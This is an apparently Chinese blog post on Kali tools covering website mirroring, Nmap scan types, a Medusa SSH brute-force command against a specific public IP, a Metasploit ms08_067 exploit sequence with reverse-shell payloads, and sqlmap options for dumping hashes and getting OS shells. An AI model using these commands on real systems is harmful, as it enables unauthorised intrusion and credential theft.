`

HTTrack 网站复制

 
阅读更多
黑客 专题一 常用工具
分类: Kali 2013-10-14 17:55 304人阅读 评论(0) 收藏 举报
黑客Kali
目录(?)[+]
一.HTTrack 网站复制
    1.1安装
[plain] view plaincopy
apt-get install httrack webhttrack 
    1.2 常用命令
[plain] view plaincopy
httrack http://www.documentfoundation.org -* +*.htm* +*.pdf -O /home/floeff/websites 
httrack http://www.leiyanhui.com/ -O E:\test\ -r15 -E3600 -m2000000,300000 -M1000000000 --ext-depth 1 -o0 -s0 -F "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)" -%F "" -*.* +*.htm* +*.shtm* +*.php* +*.asp* +*.do +*.jsp +*.css +*.swf +*.js +*.jp* +*.gif +*.bmp +*.png -N100 
常用存放规则 
-N100 直接放到目录根下面,默认站点结构,并且外部站点也放进去 
-N1004 直接放到目录根下面,文件根据后缀放置,并且外部站点的文件也一起放进去 
-N1005 直接放到目录下,html放到html文件夹,其他文件也按照后缀放到单独文件夹,并且外部站点的文件也一起放进去 
文件过滤(白名单): 
-*.* +*.htm* +*.shtm* +*.cgi +*.py +*.php* +*.phtm* +*.asp* +*.do +*.jsp +*.css +*.swf +*.js +*.jp* +*.gif +*.bmp +*.png 
注意,多个任务不能放置到同一个目录里面,不然会提示文件夹锁定 
另外 对css中 background:#fff url(images/head_bg.gif) repeat-x; 不能识别其中的图片 
js和swf中的图片 几乎全部无法识别 
小技巧: 
在命令行正在执行的时候,连续按下2-4次回车可以看到滚动日志 
限制类参数 
-r50 50层 
-E3600 限制时间为3600秒之内 
-m50000000 限制非html文件为50m以内 
-m50000000,100000 限制非html文件为50M html文件为100K 
-M1000000000 限制总体积为1G 
-A100000000 限制速度为100m/s 
-G100000000 下载1G后暂停 
%e1 前面没有横线,限制外链深度为5层;不知道为何无效,所以用 --ext-depth 1的方法替代了 
性能参数 
-%c20 每秒20个连接 
-c128 文件句柄限制,文档说与操作系统有关系,不一定越大越好 
-T30 连接超时选项 
-R5 重试次数限制,暂时不确定超限后是终止任务还是终止文件 
-J10 速度不到10b/s的时候 放弃下载 
-H0 不终止任务 -H1 超时的时候终止任务 -H2 速度太慢的时候 -H3 速度太慢或者超时 
镜像参数 
-N "%h%p/%n.%t" 文件保存路径 
-L1 |--long-names禁止使用长文件名,防止url过长或者文件系统不支持 
-K 保存原来的链接,禁止修改链接地址 
-x 好像是说外部链接替换成提示消息,应该是和允许下载外链有冲突 
-o0 智能识别404页面,防止保存大量没用的404页面地址 
%x0 include 好像是说可以通过md5校验,避免重复的文件 
蜘蛛参数 
-b0 禁用cookis 默认是启用 
-s0 忽略meta-tags and robots.txt -s1和-s2是遵守,但怎么遵守的没看明白 
浏览参数 
-F "Mozilla 1.0, Sparc, Solaris 23.54.34" 不需要解释 
-%F "Mirrored [from host %s [file %s [at %s]]]" 底部代码 
                详情见http://www.httrack.com/html/fcguide.html
二.Metagoofil 信息收集
         修改/usr/share/metagoofil/discovery中的googlesearch.py的内容如下

     

[python] view plaincopy
#self.server="www.google.com" 
#self.hostname="www.google.com" 
self.server="www.google.com.hk" 
self.hostname="www.google.com.hk" 
 
#self.quantity="100"         
self.quantity="10"   
# 这个值是google返回每页中有多少条结果,发现太大了在后面 do_search_files方法中self.results = h.getfile().read()会卡住不动,设置为10了有时都还有这种情况,不明白为什么。    
#改了这个值后在process_files中要做相应修改         
#self.counter+=100 
self.counter+=10 

       myparser.py中解析google返回的结果(提取文件链接)的正则式也要做相应修改:
[python] view plaincopy
#reg_urls = re.compile('<a href="(.*?)"') 
reg_urls = re.compile('<a href="[^">]*?/url\?q=([^">]*?)&sa=U.*?"') 

三.FPing 判断主机在线
     详情见http://www.fping.org/fping.1.html
  

[plain] view plaincopy
fping -a -g 192.168.0.1/24 >hosts.txt 

四.Nmap 端口扫描
  4.1 TCP 扫描
   完成三次握手,最稳定.
[plain] view plaincopy
nmap -sT -p- -PN 172.16.45.135 


   -sT 执行TCP 扫描

   -p- 扫描所有端口,而不是常用的1000个端口

   -PN 跳过主机发现过程,扫描所有地址

   可以使用172.16.45-254 指定一个范围或者使用-iL path_to_the_text_file
   4.2 SYN 扫描
     完成两次握手,速度较快,隐性扫描,相当于打给别人,对方刚说喂,就挂了.是默认的扫描方式.

[plain] view plaincopy
nmap -sS -p- -PN 172.16.45.135 
   
    4.3 UDP 扫描
       扫描速度非常慢,DHCP,DNS,SNMP,TFTP使用UDP服务

 

[plain] view plaincopy
nmap -sUV 172.16.45.36 

       -sV 用于版本扫描,精确UDP扫描结果
     
    4.4 Xmas扫描
      发送非常规的数据包,针对的是Linux或Unix操作系统,Windows 一般无效

[plain] view plaincopy
nmap -sX -p- -PN 172.16.45.129 
   
    4.5 Null 扫描
      发送NULL,与Xmas 相反,关闭的端口会发回一个RST数据包。只有那些100%遵循TCP RFC的系统有效,Windows 一般无效
[plain] view plaincopy
nmap -sN -p- -PN 172.16.45.129 
      4.6 好用的参数

     -T 0~5 5最快,为避免被检测到,设置速度

     -O 用于识别操作系统

五.Medusa 密码破解
        支持IMAP,FTP,MySQL,POP3,SNMP,SSH,Telnet,VNC.
[plain] view plaincopy
medusa -h 202.38.128.6 -u root -P nmap.lst -M ssh 

六.Metasploit
[plain] view plaincopy
msfconsole 打开控制台 

[plain] view plaincopy
msf > msfupdate ;更新需要经常执行 
msf > search ms08-067 ;查找漏洞,Rank 评价成功率 


[plain] view plaincopy
msf>use windows/smb/ms08_067_netapi 
msf>show payloads 
msf>set payload windows>vncinject/reverse_tcp 
msf>show options 查看所需要配置的选项 
msf>set RHOST 远程靶机ip 
msf>set LHOST 发起攻击ip 
msf>show options 查看是否配置成功 
msf>exploit 发起攻击 
Windows 可用的载荷

[plain] view plaincopy
windows/adduser 创建新用户 
windows/exec 执行windows二进制文件 
windows/shell_bind_tcp 正向shell 
windows/shell_reverse_tcp 反向shell 
windows/meterpreter/bind_tcp 安装meterpreter 
windows/meterpreter/reverse_tcp 反向安装meterpreter 
windows/vncinject/bind_tcp 正向VNC 
windows/vncinject/reverse_tcp 反向VNC  
七.Sqlmap使用
[plain] view plaincopy
Options(选项): 
--version 显示程序的版本号并退出 
-h, --help 显示此帮助消息并退出 
-v VERBOSE 详细级别:0-6(默认为1) 
 
Target(目标): 
以下至少需要设置其中一个选项,设置目标URL。 
 
-d DIRECT 直接连接到数据库。 
-u URL, --url=URL 目标URL。 
-l LIST 从Burp或WebScarab代理的日志中解析目标。 
-r REQUESTFILE 从一个文件中载入HTTP请求。 
-g GOOGLEDORK 处理Google dork的结果作为目标URL。 
-c CONFIGFILE 从INI配置文件中加载选项。 
 
Request(请求): 
这些选项可以用来指定如何连接到目标URL。 
 
--data=DATA 通过POST发送的数据字符串 
--cookie=COOKIE HTTP Cookie头 
--cookie-urlencode URL 编码生成的cookie注入 
--drop-set-cookie 忽略响应的Set - Cookie头信息 
--user-agent=AGENT 指定 HTTP User - Agent头 
--random-agent 使用随机选定的HTTP User - Agent头 
--referer=REFERER 指定 HTTP Referer头 
--headers=HEADERS 换行分开,加入其他的HTTP头 
--auth-type=ATYPE HTTP身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM) 
--auth-cred=ACRED HTTP身份验证凭据(用户名:密码) 
--auth-cert=ACERT HTTP认证证书(key_file,cert_file) 
--proxy=PROXY 使用HTTP代理连接到目标URL 
--proxy-cred=PCRED HTTP代理身份验证凭据(用户名:密码) 
--ignore-proxy 忽略系统默认的HTTP代理 
--delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒 
--timeout=TIMEOUT 等待连接超时的时间(默认为30秒) 
--retries=RETRIES 连接超时后重新连接的时间(默认3) 
--scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式 
--safe-url=SAFURL 在测试过程中经常访问的url地址 
--safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL 
 
Optimization(优化): 
这些选项可用于优化SqlMap的性能。 
 
-o 开启所有优化开关 
--predict-output 预测常见的查询输出 
--keep-alive 使用持久的HTTP(S)连接 
--null-connection 从没有实际的HTTP响应体中检索页面长度 
--threads=THREADS 最大的HTTP(S)请求并发量(默认为1) 
 
Injection(注入): 
这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads和可选篡改脚本。 
 
-p TESTPARAMETER 可测试的参数(S) 
--dbms=DBMS 强制后端的DBMS为此值 
--os=OS 强制后端的DBMS操作系统为这个值 
--prefix=PREFIX 注入payload字符串前缀 
--suffix=SUFFIX 注入payload字符串后缀 
--tamper=TAMPER 使用给定的脚本(S)篡改注入数据 
 
Detection(检测): 
这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。 
 
--level=LEVEL 执行测试的等级(1-5,默认为1) 
--risk=RISK 执行测试的风险(0-3,默认为1) 
--string=STRING 查询时有效时在页面匹配字符串 
--regexp=REGEXP 查询时有效时在页面匹配正则表达式 
--text-only 仅基于在文本内容比较网页 
 
Techniques(技巧): 
这些选项可用于调整具体的SQL注入测试。 
 
--technique=TECH SQL注入技术测试(默认BEUST) 
--time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒) 
--union-cols=UCOLS 定列范围用于测试UNION查询注入 
--union-char=UCHAR 用于暴力猜解列数的字符 
 
Fingerprint(指纹): 
-f, --fingerprint 执行检查广泛的DBMS版本指纹 
 
Enumeration(枚举): 
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 
的SQL语句。 
-b, --banner 检索数据库管理系统的标识 
--current-user 检索数据库管理系统当前用户 
--current-db 检索数据库管理系统当前数据库 
--is-dba 检测DBMS当前用户是否DBA 
--users 枚举数据库管理系统用户 
--passwords 枚举数据库管理系统用户密码哈希 
--privileges 枚举数据库管理系统用户的权限 
--roles 枚举数据库管理系统用户的角色 
--dbs 枚举数据库管理系统数据库 
--tables 枚举的DBMS数据库中的表 
--columns 枚举DBMS数据库表列 
--dump 转储数据库管理系统的数据库中的表项 
--dump-all 转储所有的DBMS数据库表中的条目 
--search 搜索列(S),表(S)和/或数据库名称(S) 
-D DB 要进行枚举的数据库名 
-T TBL 要进行枚举的数据库表 
-C COL 要进行枚举的数据库列 
-U USER 用来进行枚举的数据库用户 
--exclude-sysdbs 枚举表时排除系统数据库 
--start=LIMITSTART 第一个查询输出进入检索 
--stop=LIMITSTOP 最后查询的输出进入检索 
--first=FIRSTCHAR 第一个查询输出字的字符检索 
--last=LASTCHAR 最后查询的输出字字符检索 
--sql-query=QUERY 要执行的SQL语句 
--sql-shell 提示交互式SQL的shell 
 
Brute force(蛮力): 
这些选项可以被用来运行蛮力检查。 
 
--common-tables 检查存在共同表 
--common-columns 检查存在共同列 
 
User-defined function injection(用户自定义函数注入): 
这些选项可以用来创建用户自定义函数。 
 
--udf-inject 注入用户自定义函数 
--shared-lib=SHLIB 共享库的本地路径 
 
File system access(访问文件系统): 
这些选项可以被用来访问后端数据库管理系统的底层文件系统。 
 
--file-read=RFILE 从后端的数据库管理系统文件系统读取文件 
--file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 
--file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径 
 
Operating system access(操作系统访问): 
这些选项可以用于访问后端数据库管理系统的底层操作系统。 
 
--os-cmd=OSCMD 执行操作系统命令 
--os-shell 交互式的操作系统的shell 
--os-pwn 获取一个OOB shell,meterpreter或VNC 
--os-smbrelay 一键获取一个OOB shell,meterpreter或VNC 
--os-bof 存储过程缓冲区溢出利用 
--priv-esc 数据库进程用户权限提升 
--msf-path=MSFPATH Metasploit Framework本地的安装路径 
--tmp-path=TMPPATH 远程临时文件目录的绝对路径 
 
Windows注册表访问: 
这些选项可以被用来访问后端数据库管理系统Windows注册表。 
 
--reg-read 读一个Windows注册表项值 
--reg-add 写一个Windows注册表项值数据 
--reg-del 删除Windows注册表键值 
--reg-key=REGKEY Windows注册表键 
--reg-value=REGVAL Windows注册表项值 
--reg-data=REGDATA Windows注册表键值数据 
--reg-type=REGTYPE Windows注册表项值类型 
 
General(一般): 
 
这些选项可以用来设置一些一般的工作参数。 
-t TRAFFICFILE 记录所有HTTP流量到一个文本文件中 
-s SESSIONFILE 保存和恢复检索会话文件的所有数据 
--flush-session 刷新当前目标的会话文件 
--fresh-queries 忽略在会话文件中存储的查询结果 
--eta 显示每个输出的预计到达时间 
--update 更新SqlMap 
--save file保存选项到INI配置文件 
--batch 从不询问用户输入,使用所有默认配置。 
 
Miscellaneous(杂项): 
--beep 发现SQL注入时提醒 
--check-payload IDS对注入payloads的检测测试 
--cleanup SqlMap具体的UDF和表清理DBMS 
--forms 对目标URL的解析和测试形式 
--gpage=GOOGLEPAGE 从指定的页码使用谷歌dork结果 
--page-rank Google dork结果显示网页排名(PR) 
--parse-errors 从响应页面解析数据库管理系统的错误消息 
--replicate 复制转储的数据到一个sqlite3数据库 
--tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址 
--wizard 给初级用户的简单向导界面 
//--http://blog.csdn.net/ghosttzs--// 






更多 0
上一篇:Django 1.5.4 专题18 User Profile
下一篇:python 网络编程
分享到:
评论

相关推荐

    HTTrack软件,一款C语言开发的离线浏览器,用于网站复制

    只需在浏览器中打开“镜像”网站的一个页面,您就可以从一个链接到另一个链接浏览该网站,就像您在网上查看一样。 HTTrack 还可以更新现有的镜像站点,并恢复中断的下载。HTTrack 是完全可配置的,并具有集成的帮助...

    httrack:HTTrack网站复印机,将网站复制到您的计算机(官方存储库)

    HTTrack网站复印机-开发资料库关于将网站复制到您的计算机(脱机浏览器) HTTrack是一个脱机浏览器实用程序,可让您从互联网将万维网站点下载到本地目录,以递归方式构建所有目录,并将html,图像和其他文件从服务器...

    httrack网站镜像神器

    网站镜像神器,有了它,再也不用右键查看源代码,复制粘贴了,参考他人代码的话,可以节约很多时间

    httrack-3.48.21免安装版

    【httrack-3.48.21免安装版】是一款功能强大的离线网页抓取工具,主要用于将互联网上的整个网站复制到本地计算机上,以便在没有网络连接的情况下也能进行浏览。这款软件以其免费和易用性而广受用户欢迎。 1. **离线...

    httrack-noinst-3.49.2.zip

    3. **断点续传**:如果下载过程中因网络问题中断,httrack可以记住进度并从断点处继续下载,确保完整复制网站内容。 4. **优化下载**:httrack会尽可能地减少下载时间和带宽使用,通过并发下载和智能调度策略提高...

    HTTrack v3.33 For Linux

    在未经许可的情况下,复制并分发他人的网站内容可能涉及侵权,因此在使用HTTrack前,用户应确保自己有合法的权利进行这样的操作,并尊重网站所有者的权益。 总结来说,HTTrack v3.33是一款强大的Linux离线浏览解决...

    httrack-noinst

    在IT领域,网站镜像是一个非常重要的概念,它允许用户复制整个网站或部分网站到本地硬盘,以便离线浏览或备份。httrack-noinst就是这样一个工具,它基于开源的httrack项目,专用于创建网站的完整镜像。 httrack是一...

    httrack.zip

    httrack是一款强大的离线浏览工具,它允许用户将整个网站或者特定部分下载到本地计算机上,以便在没有网络连接的情况下也能访问。这个功能对于备份重要网站、离线阅读、研究或者创建本地化的网页内容非常有用。...

    httrack_整站抓取工具_32位

    这款软件的主要功能是能够将整个网站的数据复制到本地硬盘上,形成一个镜像,使得用户可以在离线状态下浏览和使用该网站的所有内容。对于网络研究、数据分析、备份以及不便在线访问的环境,httrack提供了极大的便利...

    httrack_x64-noinst-3.48.21.zip

    httrack通过模拟浏览器的行为,逐个请求网页并保存响应,从而实现网站的完整复制。 在标签中,"httrack_x64-"是软件名称的一部分,表示这是httrack的64位版本。通常,64位版本的软件能够处理更大的内存和更复杂的...

    httrack源码

    这个工具允许用户镜像整个网站,复制所有链接的网页,包括图像、CSS、JavaScript和其他资源,形成一个完整的本地副本。下面将对httrack源码中的关键文件及其功能进行详细解释。 1. **httrack.h**:这是httrack项目...

    httrack-3.43-7.zip

    需要注意的是,虽然httrack功能强大,但使用时应遵守网站的robots.txt文件规定,尊重网站的版权和使用条款,避免进行非法的复制活动。同时,由于其强大的抓取能力,过度使用可能会对目标服务器造成负担,因此合理...

    httrack-master.zip

    【httrack-master.zip】是一个包含httrack项目的压缩文件,它是一个开源的网站镜像工具,主要功能是能够将整个网站下载到本地计算机上,形成一个离线的副本。这个工具在网络安全、网站监控和网站分析等领域有着广泛...

    网站复制,网站克隆专家

    本文将深入探讨这一主题,特别是在使用“网站克隆专家”类软件,如httrack-3.43-4.exe时,如何实现高效、准确的网站复制。 首先,我们来理解“网站克隆”的概念。网站克隆是指通过特定工具或编程手段,将一个现有的...

    整站下载工具(网站复制、网站克隆)

    整站下载工具是一种高效实用的软件,主要用于将整个网站的内容及其结构完整地保存到本地计算机上,实现网站的复制和克隆。这种工具通常具备多种功能,如深度抓取网页、保留原始链接结构、下载静态资源(如图片、CSS...

    httrack模拟搜索引擎爬虫.docx

    HTTrack 的爬虫特性和搜索引擎爬虫非常相似,都可以复制网站并存储下来(搜索引擎的网页快照就是被存储下来的内容)。通过设置“扫描规则”和“搜寻”选项,可以模拟搜索引擎爬虫的行为,例如不收录.exe 文件、zip ...

    网站克隆整站复制仿站镜像拷贝工具 网站快速下载器

    网站克隆整站复制仿站镜像拷贝工具是一种高效且便捷的方法,用于获取网站的静态内容并将其保存在本地计算机上。这类工具通常被网页设计师、开发者或数据抓取人员使用,以便快速备份网站、分析竞争对手的网页结构或者...

    网站全站复制

    网站全站复制是一种技术,它允许用户将一个现有的网站内容完全克隆到本地或另一个服务器上,以便于备份、分析、学习或者创建类似站点。...正确使用相关的下载工具,我们可以高效、安全地复制网站,实现多种用途。

    复制网站风格工具,webgeter 最新版

    10. **替代工具**:市场上还有其他类似的工具,如HTTrack、wget等,它们同样具备复制网站风格和内容的功能,用户可以根据自身需求选择合适的工具。 总的来说,WebGetter这样的工具为用户提供了便捷的网站内容获取和...

    搜索引擎蜘蛛模拟器

    是一款网站镜像程序,就是可以把网站结构下载到本地的程序,某些人也可以称为网站扒皮工具或网站复制工具. 使用者可以通过HTTrack把互联网上的网站页面下载到本地计算机上。在默认设置下,HTTrack对网站页面的下载...

Global site tag (gtag.js) - Google Analytics